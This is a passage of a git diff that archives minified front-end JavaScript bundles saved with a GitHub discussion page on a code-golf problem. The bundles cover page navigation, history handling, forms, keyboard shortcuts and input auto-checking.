D=(0,l.Kt)(document,g);D&&(G=D.getBoundingClientRect().top+window.pageYOffset)}typeof G=="number"&&window.scrollTo(window.pageXOffset,G),s(S,"pjax:success"),s(S,"pjax:complete"),s(S,"pjax:end")}t(M,"pjaxRequest");function U(r){a&&(0,f.lO)(null,"",a.url),window.location.replace(r)}t(U,"locationReplace");let q=!0;const k=window.location.href,_=window.history.state;_&&_.container&&(a=_),"state"in window.history&&(q=!1);function P(r){if((0,m.c)("TURBO"))return;q||h==null||h.abort();const o=a,e=r.state;let n=null;if(e&&e.container){if(q&&k===e.url)return;if(o){if(o.id===e.id)return;n=o.id]*>([\s\S.]*)<\/head>/i),x=r.match(/]*>([\s\S.]*)<\/body>/i);L=w?Array.from((0,p.r)(document,w[0]).childNodes):[],g=x?Array.from((0,p.r)(document,x[0]).childNodes):[]}else L=g=Array.from((0,p.r)(document,r).childNodes);if(g.length===0)return n;const S=X(L,"title",HTMLTitleElement);n.title=S.length>0&&S[S.length-1].textContent||"";let T;if(e.fragment){if(e.fragment==="body")T=g;else{const w=X(g,e.fragment,Element);T=w.length>0?[w[0]]:[]}if(T.length&&(e.fragment==="body"?n.contents=T:n.contents=T.flatMap(w=>Array.from(w.childNodes)),!n.title)){const w=T[0];w instanceof Element&&(n.title=w.getAttribute("title")||w.getAttribute("data-title")||"")}}else y||(n.contents=g);if(n.contents){n.contents=n.contents.filter(function(b){return b instanceof Element?!b.matches("title"):!0});for(const b of n.contents)if(b instanceof Element)for(const K of b.querySelectorAll("title"))K.remove();const w=X(n.contents,"script[src]",HTMLScriptElement);for(const b of w)b.remove();n.scripts=w,n.contents=n.contents.filter(b=>w.indexOf(b)===-1);const x=X(n.contents,"link[rel=stylesheet]",HTMLLinkElement);for(const b of x)b.remove();n.stylesheets=x,n.contents=n.contents.filter(b=>!x.includes(b))}return n.title&&(n.title=n.title.trim()),n}t(Y,"extractContainer");function oe(r){const o=document.querySelectorAll("script[src]");for(const e of r){const{src:n}=e;if(Array.from(o).some(g=>g.src===n))continue;const y=document.createElement("script"),i=e.getAttribute("type");i&&(y.type=i);const L=e.getAttribute("integrity");L&&(y.integrity=L,y.crossOrigin="anonymous"),y.src=n,document.head&&document.head.appendChild(y)}}t(oe,"executeScriptTags");function re(r){const o=document.querySelectorAll("link[rel=stylesheet]");for(const e of r)Array.from(o).some(n=>n.href===e.href)||document.head&&document.head.appendChild(e)}t(re,"injectStyleTags");const B={},F=[],J=[];function ae(r,o){B[r]=o,J.push(r),W(F,0),W(J,u)}t(ae,"cachePush");function ie(r,o,e){let n,y;B[o]=e,r==="forward"?(n=J,y=F):(n=F,y=J),n.push(o);const i=y.pop();i&&delete B[i],W(n,u)}t(ie,"cachePop");function W(r,o){for(;r.length>o;){const e=r.shift();if(e==null)return;delete B[e]}}t(W,"trimCacheStack");function se(){for(const r of document.getElementsByTagName("meta")){const o=r.getAttribute("http-equiv");if(o&&o.toUpperCase()==="X-PJAX-VERSION")return r.content}return null}t(se,"findVersion");function H(r){var o;const e=document.querySelector(`meta[http-equiv="${r}"]`);return(o=e==null?void 0:e.content)!=null?o:null}t(H,"pjaxMeta");function ce(){return{pjax:H("X-PJAX-VERSION"),csp:H("X-PJAX-CSP-VERSION"),css:H("X-PJAX-CSS-VERSION"),js:H("X-PJAX-JS-VERSION")}}t(ce,"findAllVersions");function le(){return a}t(le,"getState"),window.addEventListener("popstate",P)},54293:(C,v,d)=>{d.d(v,{b:()=>m,o:()=>p});var f=d(7739);const c={},l={};(async()=>(await f.x,c[document.location.pathname]=Array.from(document.querySelectorAll("head [data-pjax-transient]")),l[document.location.pathname]=Array.from(document.querySelectorAll("[data-pjax-replace]"))))(),document.addEventListener("pjax:beforeReplace",function(E){const u=E.detail.contents||[],a=E.target;for(let h=0;h{d.d(v,{C:()=>c,x:()=>f});const f=function(){return document.readyState==="interactive"||document.readyState==="complete"?Promise.resolve():new Promise(l=>{document.addEventListener("DOMContentLoaded",()=>{l()})})}(),c=function(){return document.readyState==="complete"?Promise.resolve():new Promise(l=>{window.addEventListener("load",l)})}()},49815:(C,v,d)=>{d.d(v,{$:()=>E,c:()=>m});var f=d(15205);const c=(0,f.Z)(l);function l(){var u,a;return(((a=(u=document.head)==null?void 0:u.querySelector('meta[name="enabled-features"]'))==null?void 0:a.content)||"").split(",")}t(l,"enabledFeatures");const m=(0,f.Z)(p);function p(u){return c().indexOf(u)!==-1}t(p,"isEnabled");const E={isFeatureEnabled:m}},61161:(C,v,d)=>{d.d(v,{$z:()=>l,Kt:()=>f,Q:()=>c});function f(m,p=location.hash){return c(m,l(p))}t(f,"findFragmentTarget");function c(m,p){return p===""?null:m.getElementById(p)||m.getElementsByName(p)[0]}t(c,"findElementByFragmentName");function l(m){try{return decodeURIComponent(m.slice(1))}catch{return""}}t(l,"decodeFragmentValue")},6170:(C,v,d)=>{d.d(v,{Mw:()=>q,_C:()=>U,lO:()=>M,qA:()=>s,y0:()=>m});const f=[];let c=0,l;function m(){return l}t(m,"getState");function p(){try{return Math.min(Math.max(0,history.length)||0,9007199254740991)}catch{return 0}}t(p,"safeGetHistory");function E(){const _={_id:new Date().getTime(),...history.state};return a(_),_}t(E,"initializeState");function u(){return p()-1+c}t(u,"position");function a(_){l=_;const P=location.href;f[u()]={url:P,state:l},f.length=p(),window.dispatchEvent(new CustomEvent("statechange",{bubbles:!1,cancelable:!1}))}t(a,"setState");function h(){return new Date().getTime()}t(h,"uniqueId");function s(_,P,O){c=0;const j={_id:h(),..._};history.pushState(j,P,O),a(j)}t(s,"pushState");function M(_,P,O){const j={...m(),..._};history.replaceState(j,P,O),a(j)}t(M,"replaceState");function U(){const _=f[u()-1];if(_)return _.url}t(U,"getBackURL");function q(){const _=f[u()+1];if(_)return _.url}t(q,"getForwardURL"),l=E(),window.addEventListener("popstate",t(function(P){var O,j,I,N,X;const R=P.state;if(!(!R||!R._id&&!((O=R.turbo)==null?void 0:O.restorationIdentifier))){if((j=R.turbo)==null?void 0:j.restorationIdentifier){const V=R.turbo.restorationIdentifier;((X=(N=(I=f[u()-1])==null?void 0:I.state)==null?void 0:N.turbo)==null?void 0:X.restorationIdentifier)===V?c--:c++}else R._id<(m()._id||NaN)?c--:c++;a(R)}},"onPopstate"),!0);let k;window.addEventListener("turbo:visit",_=>{_ instanceof CustomEvent&&(k=_.detail.action)}),window.addEventListener("turbo:load",()=>{k!=="restore"&&(c=0,M(history.state,"",""))}),window.addEventListener("hashchange",t(function(){if(p()>f.length){const P={_id:h()};history.replaceState(P,"",location.href),a(P)}},"onHashchange"),!0)},12981:(C,v,d)=>{d.d(v,{r:()=>f});function f(c,l){const m=c.createElement("template");return m.innerHTML=l,c.importNode(m.content,!0)}t(f,"parseHTML")},97474:(C,v,d)=>{d.d(v,{Z:()=>f});function f(c){var l,m;const p=(m=(l=c.head)==null?void 0:l.querySelector('meta[name="expected-hostname"]'))==null?void 0:m.content;if(!p)return!1;const E=p.replace(/\.$/,"").split(".").slice(-2).join("."),u=c.location.hostname.replace(/\.$/,"").split(".").slice(-2).join(".");return E!==u}t(f,"detectProxySite")},45922:(C,v,d)=>{d.d(v,{b:()=>m});var f=d(97474),c=d(7739);let l=[];function m(h,s=!1){h.timestamp===void 0&&(h.timestamp=new Date().getTime()),h.loggedIn=a(),l.push(h),s?u():E()}t(m,"sendStats");let p=null;async function E(){await c.C,p==null&&(p=window.requestIdleCallback(u))}t(E,"scheduleSendStats");function u(){var h,s;if(p=null,!l.length||(0,f.Z)(document))return;const M=(s=(h=document.head)==null?void 0:h.querySelector('meta[name="browser-stats-url"]'))==null?void 0:s.content;if(!M)return;const U=JSON.stringify({stats:l});try{navigator.sendBeacon&&navigator.sendBeacon(M,U)}catch{}l=[]}t(u,"flushStats");function a(){var h,s;return!!((s=(h=document.head)==null?void 0:h.querySelector('meta[name="user-login"]'))==null?void 0:s.content)}t(a,"isLoggedIn"),document.addEventListener("pagehide",u),document.addEventListener("visibilitychange",u)}}]);})(); + +//# sourceMappingURL=app_assets_modules_github_behaviors_pjax_ts-3331a0ecddca.js.map \ No newline at end of file diff --git a/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_form_ts-app_assets_modules_github_n.js b/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_form_ts-app_assets_modules_github_n.js new file mode 100644 index 0000000..ce79225 --- /dev/null +++ b/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/app_assets_modules_github_form_ts-app_assets_modules_github_n.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var $=Object.defineProperty;var n=(j,y)=>$(j,"name",{value:y,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["app_assets_modules_github_form_ts-app_assets_modules_github_navigation_ts"],{7679:(j,y,h)=>{h.d(y,{H:()=>c,v:()=>p});var E=h(59753);function p(){const s=document.getElementById("ajax-error-message");s&&(s.hidden=!1)}n(p,"showGlobalError");function c(){const s=document.getElementById("ajax-error-message");s&&(s.hidden=!0)}n(c,"hideGlobalError"),(0,E.on)("deprecatedAjaxError","[data-remote]",function(s){const f=s.detail,{error:L,text:m}=f;s.currentTarget===s.target&&(L==="abort"||L==="canceled"||(/{h.d(y,{Ty:()=>p,YE:()=>c,Zf:()=>s});var E=h(11793);const p=n(()=>{const f=document.querySelector("meta[name=keyboard-shortcuts-preference]");return f?f.content==="all":!0},"areCharacterKeyShortcutsEnabled"),c=n(f=>/Enter|Arrow|Escape|Meta|Control|Esc/.test(f)||f.includes("Alt")&&f.includes("Shift"),"isNonCharacterKeyShortcut"),s=n(f=>{const L=(0,E.EL)(f);return p()?!0:c(L)},"isShortcutAllowed")},75371:(j,y,h)=>{h.d(y,{VZ:()=>p,_C:()=>c,cv:()=>E,oE:()=>s});function E(m){const a=m.getBoundingClientRect();return{top:a.top+window.pageYOffset,left:a.left+window.pageXOffset}}n(E,"offset");function p(m){let a=m;const l=a.ownerDocument;if(!l||!a.offsetParent)return;const g=l.defaultView.HTMLElement;if(a!==l.body){for(;a!==l.body;){if(a.parentElement instanceof g)a=a.parentElement;else return;const{position:C,overflowY:T,overflowX:r}=getComputedStyle(a);if(C==="fixed"||T==="auto"||r==="auto"||T==="scroll"||r==="scroll")break}return a instanceof Document?null:a}}n(p,"overflowParent");function c(m,a){let l=a;const g=m.ownerDocument;if(!g)return;const C=g.documentElement;if(!C||m===C)return;const T=s(m,l);if(!T)return;l=T._container;const r=l===g.documentElement&&g.defaultView?{top:g.defaultView.pageYOffset,left:g.defaultView.pageXOffset}:{top:l.scrollTop,left:l.scrollLeft},d=T.top-r.top,v=T.left-r.left,w=l.clientHeight,k=l.clientWidth,H=w-(d+m.offsetHeight),P=k-(v+m.offsetWidth);return{top:d,left:v,bottom:H,right:P,height:w,width:k}}n(c,"overflowOffset");function s(m,a){let l=m;const g=l.ownerDocument;if(!g)return;const C=g.documentElement;if(!C)return;const T=g.defaultView.HTMLElement;let r=0,d=0;const v=l.offsetHeight,w=l.offsetWidth;for(;!(l===g.body||l===a);)if(r+=l.offsetTop||0,d+=l.offsetLeft||0,l.offsetParent instanceof T)l=l.offsetParent;else return;let k,H,P;if(!a||a===g||a===g.defaultView||a===g.documentElement||a===g.body)P=C,k=f(g.body,C),H=L(g.body,C);else if(a instanceof T)P=a,k=a.scrollHeight,H=a.scrollWidth;else return;const x=k-(r+v),S=H-(d+w);return{top:r,left:d,bottom:x,right:S,_container:P}}n(s,"positionedOffset");function f(m,a){return Math.max(m.scrollHeight,a.scrollHeight,m.offsetHeight,a.offsetHeight,a.clientHeight)}n(f,"getDocumentHeight");function L(m,a){return Math.max(m.scrollWidth,a.scrollWidth,m.offsetWidth,a.offsetWidth,a.clientWidth)}n(L,"getDocumentWidth")},56238:(j,y,h)=>{h.d(y,{Bt:()=>f,DN:()=>a,KL:()=>C,Se:()=>m,qC:()=>T,sw:()=>l});var E=h(59753),p=h(2061),c=h(7679);(0,E.on)("click",".js-remote-submit-button",async function(r){const v=r.currentTarget.form;r.preventDefault();let w;try{w=await fetch(v.action,{method:v.method,body:new FormData(v),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{}w&&!w.ok&&(0,c.v)()});function s(r,d,v){return r.dispatchEvent(new CustomEvent(d,{bubbles:!0,cancelable:v}))}n(s,"fire");function f(r,d){d&&(L(r,d),(0,p.j)(d)),s(r,"submit",!0)&&r.submit()}n(f,"requestSubmit");function L(r,d){if(!(r instanceof HTMLFormElement))throw new TypeError("The specified element is not of type HTMLFormElement.");if(!(d instanceof HTMLElement))throw new TypeError("The specified element is not of type HTMLElement.");if(d.type!=="submit")throw new TypeError("The specified element is not a submit button.");if(!r||r!==d.form)throw new Error("The specified element is not owned by the form element.")}n(L,"checkButtonValidity");function m(r,d){if(typeof d=="boolean")if(r instanceof HTMLInputElement)r.checked=d;else throw new TypeError("only checkboxes can be set to boolean value");else{if(r.type==="checkbox")throw new TypeError("checkbox can't be set to string value");r.value=d}s(r,"change",!1)}n(m,"changeValue");function a(r,d){for(const v in d){const w=d[v],k=r.elements.namedItem(v);(k instanceof HTMLInputElement||k instanceof HTMLTextAreaElement)&&(k.value=w)}}n(a,"fillFormValues");function l(r){if(!(r instanceof HTMLElement))return!1;const d=r.nodeName.toLowerCase(),v=(r.getAttribute("type")||"").toLowerCase();return d==="select"||d==="textarea"||d==="input"&&v!=="submit"&&v!=="reset"||r.isContentEditable}n(l,"isFormField");function g(r){return new URLSearchParams(r)}n(g,"searchParamsFromFormData");function C(r,d){const v=new URLSearchParams(r.search),w=g(d);for(const[k,H]of w)v.append(k,H);return v.toString()}n(C,"combineGetFormSearchParams");function T(r){return g(new FormData(r)).toString()}n(T,"serialize")},32750:(j,y,h)=>{h.d(y,{QZ:()=>P,ZH:()=>V,jK:()=>x,T_:()=>F,Sw:()=>X,VF:()=>U,VH:()=>Y});var E=h(6741),p=h(59753),c=h(75371),s=h(11793),f=h(5287),L=h(64463);function m(e,t){let i=e;const o=e.ownerDocument;(i===o||i===o.defaultView||i===o.documentElement||i===o.body)&&(i=o);const u=o.defaultView.Document;if(i instanceof u){const M=t.top!=null?t.top:o.defaultView.pageYOffset,B=t.left!=null?t.left:o.defaultView.pageXOffset;o.defaultView.scrollTo(B,M);return}const b=o.defaultView.HTMLElement;if(!(i instanceof b))throw new Error("invariant");i.scrollTop=t.top,t.left!=null&&(i.scrollLeft=t.left)}n(m,"scrollTo");var a=h(5878);const l=navigator.userAgent.match(/Macintosh/),g=l?"metaKey":"ctrlKey",C=l?"Meta":"Control";let T=!1,r={x:0,y:0};(0,L.N7)(".js-navigation-container:not(.js-navigation-container-no-mouse)",{subscribe:e=>(0,E.qC)((0,E.RB)(e,"mouseover",d),(0,E.RB)(e,"mouseover",v))});function d(e){e instanceof MouseEvent&&((r.x!==e.clientX||r.y!==e.clientY)&&(T=!1),r={x:e.clientX,y:e.clientY})}n(d,"onContainerMouseMove");function v(e){if(T)return;const t=e.currentTarget,{target:i}=e;if(!(i instanceof Element)||!(t instanceof HTMLElement)||!t.closest(".js-active-navigation-container"))return;const o=i.closest(".js-navigation-item");o&&_(o,t)}n(v,"onContainerMouseOver");let w=0;(0,L.N7)(".js-active-navigation-container",{add(){w++,w===1&&document.addEventListener("keydown",k)},remove(){w--,w===0&&document.removeEventListener("keydown",k)}});function k(e){if(e.target!==document.body&&e.target instanceof HTMLElement&&!e.target.classList.contains("js-navigation-enable"))return;T=!0;const t=I();let i=!1;if(t){const o=t.querySelector(".js-navigation-item.navigation-focus")||t;i=(0,p.f)(o,"navigation:keydown",{hotkey:(0,s.EL)(e),originalEvent:e,originalTarget:e.target})}i||e.preventDefault()}n(k,"fireCustomKeydown"),(0,p.on)("navigation:keydown",".js-active-navigation-container",function(e){const t=e.currentTarget,i=e.detail.originalTarget.matches("input, textarea"),o=e.target;if(!!(0,f.Zf)(e.detail.originalEvent)){if(o.classList.contains("js-navigation-item"))if(i){if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":O(o,t);break;case"Control+p":A(o,t)}switch((0,s.EL)(e.detail.originalEvent)){case"ArrowUp":A(o,t);break;case"ArrowDown":O(o,t);break;case"Enter":case`${C}+Enter`:R(o,e.detail.originalEvent[g]);break}}else{if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":O(o,t);break;case"Control+p":A(o,t);break;case"Alt+v":G(o,t);break;case"Control+v":N(o,t)}switch((0,s.EL)(e.detail.originalEvent)){case"j":case"J":O(o,t);break;case"k":case"K":A(o,t);break;case"o":case"Enter":case`${C}+Enter`:R(o,e.detail[g]);break}}else{const u=D(t)[0];if(u)if(i){if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":_(u,t)}switch((0,s.EL)(e.detail.originalEvent)){case"ArrowDown":_(u,t)}}else{if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":case"Control+v":_(u,t)}switch((0,s.EL)(e.detail.originalEvent)){case"j":_(u,t)}}}if(i){if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":case"Control+p":e.preventDefault()}switch((0,s.EL)(e.detail.originalEvent)){case"ArrowUp":case"ArrowDown":e.preventDefault();break;case"Enter":e.preventDefault()}}else{if(l)switch((0,s.EL)(e.detail.originalEvent)){case"Control+n":case"Control+p":case"Control+v":case"Alt+v":e.preventDefault()}switch((0,s.EL)(e.detail.originalEvent)){case"j":case"k":case"o":e.preventDefault();break;case"Enter":case`${g}+Enter`:e.preventDefault()}}}});function H(e){const t=e.modifierKey||e.altKey||e.ctrlKey||e.metaKey;(0,p.f)(e.currentTarget,"navigation:open",{modifierKey:t,shiftKey:e.shiftKey})||e.preventDefault()}n(H,"fireOpen"),(0,p.on)("click",".js-active-navigation-container .js-navigation-item",function(e){H(e)}),(0,p.on)("navigation:keyopen",".js-active-navigation-container .js-navigation-item",function(e){const t=e.currentTarget.classList.contains("js-navigation-open")?e.currentTarget:e.currentTarget.querySelector(".js-navigation-open");t instanceof HTMLAnchorElement?(e.detail.modifierKey?(window.open(t.href,"_blank"),window.focus()):t.dispatchEvent(new MouseEvent("click",{bubbles:!0,cancelable:!0}))&&t.click(),e.preventDefault()):H(e)});function P(e){const t=I();e!==t&&(t!==null&&x(t),e==null||e.classList.add("js-active-navigation-container"))}n(P,"activate");function x(e){e.classList.remove("js-active-navigation-container")}n(x,"deactivate");const S=[];function U(e){const t=I();t&&S.push(t),P(e)}n(U,"push");function X(e){x(e),V(e);const t=S.pop();t&&P(t)}n(X,"pop");function F(e,t){const i=t||e,o=D(e)[0],u=i.closest(".js-navigation-item")||o;if(P(e),u instanceof HTMLElement){if(_(u,e))return;const M=(0,c.VZ)(u);W(M,u)}}n(F,"navigation_focus");function V(e){const t=e.querySelectorAll(".js-navigation-item.navigation-focus");for(const i of t)i.classList.remove("navigation-focus")}n(V,"clear");function Y(e,t){V(e),F(e,t)}n(Y,"refocus");function A(e,t){const i=D(t),o=i.indexOf(e),u=i[o-1];if(u){if(_(u,t))return;const M=(0,c.VZ)(u);Z(t)==="page"?K(M,u):W(M,u)}}n(A,"cursorUp");function O(e,t){const i=D(t),o=i.indexOf(e),u=i[o+1];if(u){if(_(u,t))return;const M=(0,c.VZ)(u);Z(t)==="page"?K(M,u):W(M,u)}}n(O,"cursorDown");function G(e,t){const i=D(t);let o=i.indexOf(e);const u=(0,c.VZ)(e);if(u==null)return;let b,M;for(;(b=i[o-1])&&(M=(0,c._C)(b,u))&&M.top>=0;)o--;if(b){if(_(b,t))return;K(u,b)}}n(G,"pageUp");function N(e,t){const i=D(t);let o=i.indexOf(e);const u=(0,c.VZ)(e);if(u==null)return;let b,M;for(;(b=i[o+1])&&(M=(0,c._C)(b,u))&&M.bottom>=0;)o++;if(b){if(_(b,t))return;K(u,b)}}n(N,"pageDown");function R(e,t=!1){(0,p.f)(e,"navigation:keyopen",{modifierKey:t})}n(R,"keyOpen");function _(e,t){return(0,p.f)(e,"navigation:focus")?(V(t),e.classList.add("navigation-focus"),!1):!0}n(_,"focusItem");function I(){return document.querySelector(".js-active-navigation-container")}n(I,"getActiveContainer");function D(e){const t=[];for(const i of e.querySelectorAll(".js-navigation-item"))i instanceof HTMLElement&&(0,a.Z)(i)&&t.push(i);return t}n(D,"getItems");function Z(e){return e.getAttribute("data-navigation-scroll")||"item"}n(Z,"getScrollStyle");function K(e,t,i="smooth"){const o=(0,c._C)(t,e);!o||(o.bottom<=0?t.scrollIntoView({behavior:i,block:"start"}):o.top<=0&&t.scrollIntoView({behavior:i,block:"end"}))}n(K,"scrollPageTo");function W(e,t){const i=(0,c.oE)(t,e),o=(0,c._C)(t,e);if(!(i==null||o==null))if(o.bottom<=0&&document.body){const b=(e.offsetParent!=null?e.scrollHeight:document.body.scrollHeight)-(i.bottom+o.height);m(e,{top:b})}else o.top<=0&&m(e,{top:i.top})}n(W,"scrollItemTo")},2061:(j,y,h)=>{h.d(y,{j:()=>E,u:()=>p});function E(c){const s=c.closest("form");if(!(s instanceof HTMLFormElement))return;let f=p(s);if(c.name){const L=c.matches("input[type=submit]")?"Submit":"",m=c.value||L;f||(f=document.createElement("input"),f.type="hidden",f.classList.add("is-submit-button-value"),s.prepend(f)),f.name=c.name,f.value=m}else f&&f.remove()}n(E,"persistSubmitButtonValue");function p(c){const s=c.querySelector("input.is-submit-button-value");return s instanceof HTMLInputElement?s:null}n(p,"findPersistedSubmitButtonValue")},6741:(j,y,h)=>{h.d(y,{RB:()=>p,qC:()=>c,w0:()=>E});class E{constructor(f){this.closed=!1,this.unsubscribe=()=>{f(),this.closed=!0}}}n(E,"Subscription");function p(s,f,L,m={capture:!1}){return s.addEventListener(f,L,m),new E(()=>{s.removeEventListener(f,L,m)})}n(p,"fromEvent");function c(...s){return new E(()=>{for(const f of s)f.unsubscribe()})}n(c,"compose")},5878:(j,y,h)=>{h.d(y,{Z:()=>p});function E(c){return c.offsetWidth<=0&&c.offsetHeight<=0}n(E,"hidden");function p(c){return!E(c)}n(p,"visible")}}]);})(); + +//# sourceMappingURL=app_assets_modules_github_form_ts-app_assets_modules_github_navigation_ts-e498b20a5640.js.map \ No newline at end of file diff --git a/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/behaviors-bc638155a1aa.js b/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/behaviors-bc638155a1aa.js new file mode 100644 index 0000000..eecbc9b --- /dev/null +++ b/archive/Problem 9 Fast Exponentiation · Discussion #10 · Ta180m_Idiot-Code-Golf_files/behaviors-bc638155a1aa.js @@ -0,0 +1,101 @@ +(()=>{var Jl=Object.defineProperty;var s=($,D)=>Jl($,"name",{value:D,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["behaviors"],{56851:($,D,f)=>{"use strict";var T=f(7679),c=f(59753);(0,c.on)("deprecatedAjaxSend","[data-remote]",function(e){e.currentTarget===e.target&&(e.defaultPrevented||e.currentTarget.classList.add("loading"))}),(0,c.on)("deprecatedAjaxComplete","[data-remote]",function(e){e.currentTarget===e.target&&e.currentTarget.classList.remove("loading")});var C=f(65935);(0,C.AC)("form.js-ajax-pagination, .js-ajax-pagination form",async function(e,t){const n=e.closest(".js-ajax-pagination");let o;try{o=await t.html()}catch(r){if(r.response&&r.response.status===404){n.remove();return}else throw r}n.replaceWith(o.html),(0,c.f)(e,"page:loaded")});var _=f(30481);const x="analytics.click";(0,c.on)("click","[data-analytics-event]",e=>{const n=e.currentTarget.getAttribute("data-analytics-event");if(!n)return;const o=JSON.parse(n);(0,_.q)(x,o)});var u=f(64463);const g=["system","disabled"].map(e=>`html[data-a11y-animated-images="${e}"] img[data-animated-image]`).join(", ");(0,u.N7)(g,e=>{if(!(e instanceof HTMLImageElement)||e.closest("a")&&!(e.parentElement instanceof HTMLAnchorElement))return;let t=e.parentElement,n=null;if(t instanceof HTMLAnchorElement){if(t.childElementCount>1)return;n=t,n.setAttribute("data-target","animated-image.originalLink"),t=n.parentElement}e.removeAttribute("data-animated-image"),e.setAttribute("data-target","animated-image.originalImage");const o=n?n.cloneNode(!0):e.cloneNode(!0),r=document.createElement("animated-image");r.appendChild(o),t==null||t.replaceChild(r,n||e)});var h=f(22485);document.addEventListener("pjax:start",function(){(0,h.x)("Loading page")}),document.addEventListener("pjax:error",function(){(0,h.x)("Loading failed")}),document.addEventListener("pjax:end",function(){(0,h.x)("Loading complete")});var d=f(52641);const m=new WeakMap;(0,u.N7)("auto-check",function(e){if(e.classList.contains("js-prevent-default-behavior"))return;const t=e.querySelector("input");if(!t)return;const n=t.closest(".form-group")||e,o=t.form;let r;function i(){return r||(r=`input-check-${(Math.random()*1e4).toFixed(0)}`),r}s(i,"generateId");const a=t.getAttribute("aria-describedby");t.addEventListener("focusout:delay",()=>{t.setAttribute("aria-describedby",[r,a].join(" "))});const l=n.querySelector("p.note");l&&(l.id||(l.id=i()),m.set(l,l.innerHTML)),e.addEventListener("loadstart",()=>{p(t,n),n.classList.add("is-loading"),t.classList.add("is-autocheck-loading"),(0,d.G)(o)}),e.addEventListener("loadend",()=>{n.classList.remove("is-loading"),t.classList.remove("is-autocheck-loading")}),t.addEventListener("auto-check-success",async y=>{t.classList.add("is-autocheck-successful"),n.classList.add("successed"),(0,d.G)(o);const{response:w}=y.detail;if(!w)return;const S=await w.text();if(!!S){if(l instanceof HTMLElement)l.innerHTML=S,(0,h.N)(l);else{const R=w.status===200,I=n.tagName==="DL"?"dd":"div",F=document.createElement(I);F.id=i(),F.classList.add(R?"success":"warning"),F.innerHTML=S,n.append(F),n.classList.add(R?"successed":"warn"),(0,h.N)(F),R&&(F.hidden=document.activeElement!==t)}(0,c.f)(t,"auto-check-message-updated")}}),t.addEventListener("auto-check-error",async y=>{t.classList.add("is-autocheck-errored"),n.classList.add("errored"),(0,d.G)(o);const{response:w}=y.detail;if(!w)return;const S=await w.text();if(l instanceof HTMLElement)l.innerHTML=S||"Something went wrong",(0,h.N)(l);else{const R=n.tagName==="DL"?"dd":"div",I=document.createElement(R);I.id=i(),I.classList.add("error"),I.innerHTML=S||"Something went wrong",n.append(I),(0,h.N)(I)}}),t.addEventListener("input",()=>{t.removeAttribute("aria-describedby"),t.value||p(t,n)}),t.addEventListener("blur",()=>{const y=n.querySelector(".success");y&&(y.hidden=!0)}),t.addEventListener("focus",()=>{const y=n.querySelector(".success");y&&(y.hidden=!1)}),o.addEventListener("reset",()=>{p(t,n)})});function p(e,t){var n,o,r,i,a,l;t.classList.remove("is-loading","successed","errored","warn"),e.classList.remove("is-autocheck-loading","is-autocheck-successful","is-autocheck-errored");const y=t.querySelector("p.note");if(y){const w=m.get(y);w&&(y.innerHTML=w)}t.tagName==="DL"?((n=t.querySelector("dd.error"))==null||n.remove(),(o=t.querySelector("dd.warning"))==null||o.remove(),(r=t.querySelector("dd.success"))==null||r.remove()):((i=t.querySelector("div.error"))==null||i.remove(),(a=t.querySelector("div.warning"))==null||a.remove(),(l=t.querySelector("div.success"))==null||l.remove())}s(p,"autocheck_reset");var b=f(46481);(0,u.N7)("auto-complete",function(e){e.addEventListener("loadstart",()=>e.classList.add("is-auto-complete-loading")),e.addEventListener("loadend",()=>e.classList.remove("is-auto-complete-loading"))}),(0,u.N7)("auto-complete",{constructor:b.Z,initialize:v}),(0,c.on)("auto-complete-change","auto-complete",function(e){v(e.currentTarget)});function v(e){const t=e.closest("form");if(!t)return;const n=t.querySelector(".js-auto-complete-button");n instanceof HTMLButtonElement&&(n.disabled=!e.value)}s(v,"toggleSubmitButton");var L=f(56238),q=f(12981),E=f(6170);let A=null;(0,c.on)("submit","[data-autosearch-results-container]",async function(e){const t=e.currentTarget;if(!(t instanceof HTMLFormElement))return;e.preventDefault(),A==null||A.abort(),t.classList.add("is-sending");const n=new URL(t.action,window.location.origin),o=t.method,r=new FormData(t),i=(0,L.KL)(n,r);let a=null;o==="get"?n.search=i:a=r;const{signal:l}=A=new AbortController,y=new Request(n.toString(),{method:o,body:a,signal:l,headers:{Accept:"text/html","X-Requested-With":"XMLHttpRequest"}});let w;try{w=await fetch(y)}catch{}if(t.classList.remove("is-sending"),!w||!w.ok||l.aborted)return;const S=t.getAttribute("data-autosearch-results-container"),R=S?document.getElementById(S):null;R&&(R.innerHTML="",R.appendChild((0,q.r)(document,await w.text()))),(0,E.lO)(null,"",`?${i}`)});var k=f(73185),j=f(45075);(0,j.ZG)("input[data-autoselect], textarea[data-autoselect]",async function(e){await(0,k.gJ)(),e.select()});var P=f(46263),M=f(6741);(0,c.on)("change","form[data-autosubmit]",function(e){const t=e.currentTarget;(0,L.Bt)(t)}),(0,c.on)("change","input[data-autosubmit], select[data-autosubmit]",O);function O(e){const t=e.target;if(!(t instanceof HTMLInputElement)&&!(t instanceof HTMLSelectElement))return;const n=t.form;(0,L.Bt)(n)}s(O,"autosubmit_submit");const V=(0,P.D)(O,300);(0,u.N7)("input[data-throttled-autosubmit]",{subscribe:e=>(0,M.RB)(e,"input",V)});async function H(e){const t=e.getAttribute("data-url")||"";if(await N(t)){const o=e.getAttribute("data-gravatar-text");o!=null&&(e.textContent=o)}}s(H,"detectGravatar"),(0,u.N7)(".js-detect-gravatar",function(e){H(e)});async function N(e){const t=e;if(!t)return!1;try{const n=await fetch(t,{headers:{Accept:"application/json"}});return n.ok?(await n.json()).has_gravatar:!1}catch{return!1}}s(N,"fetchGravatarInfo");var K=f(51989),W=f(41307),U=f(49815),te=f(66899),le=f(5878);const ae=[".unstyled-additional-seats-price-obj",".unstyled-base-price-obj",".unstyled-final-price-obj"];function we(e){return typeof e=="string"||typeof 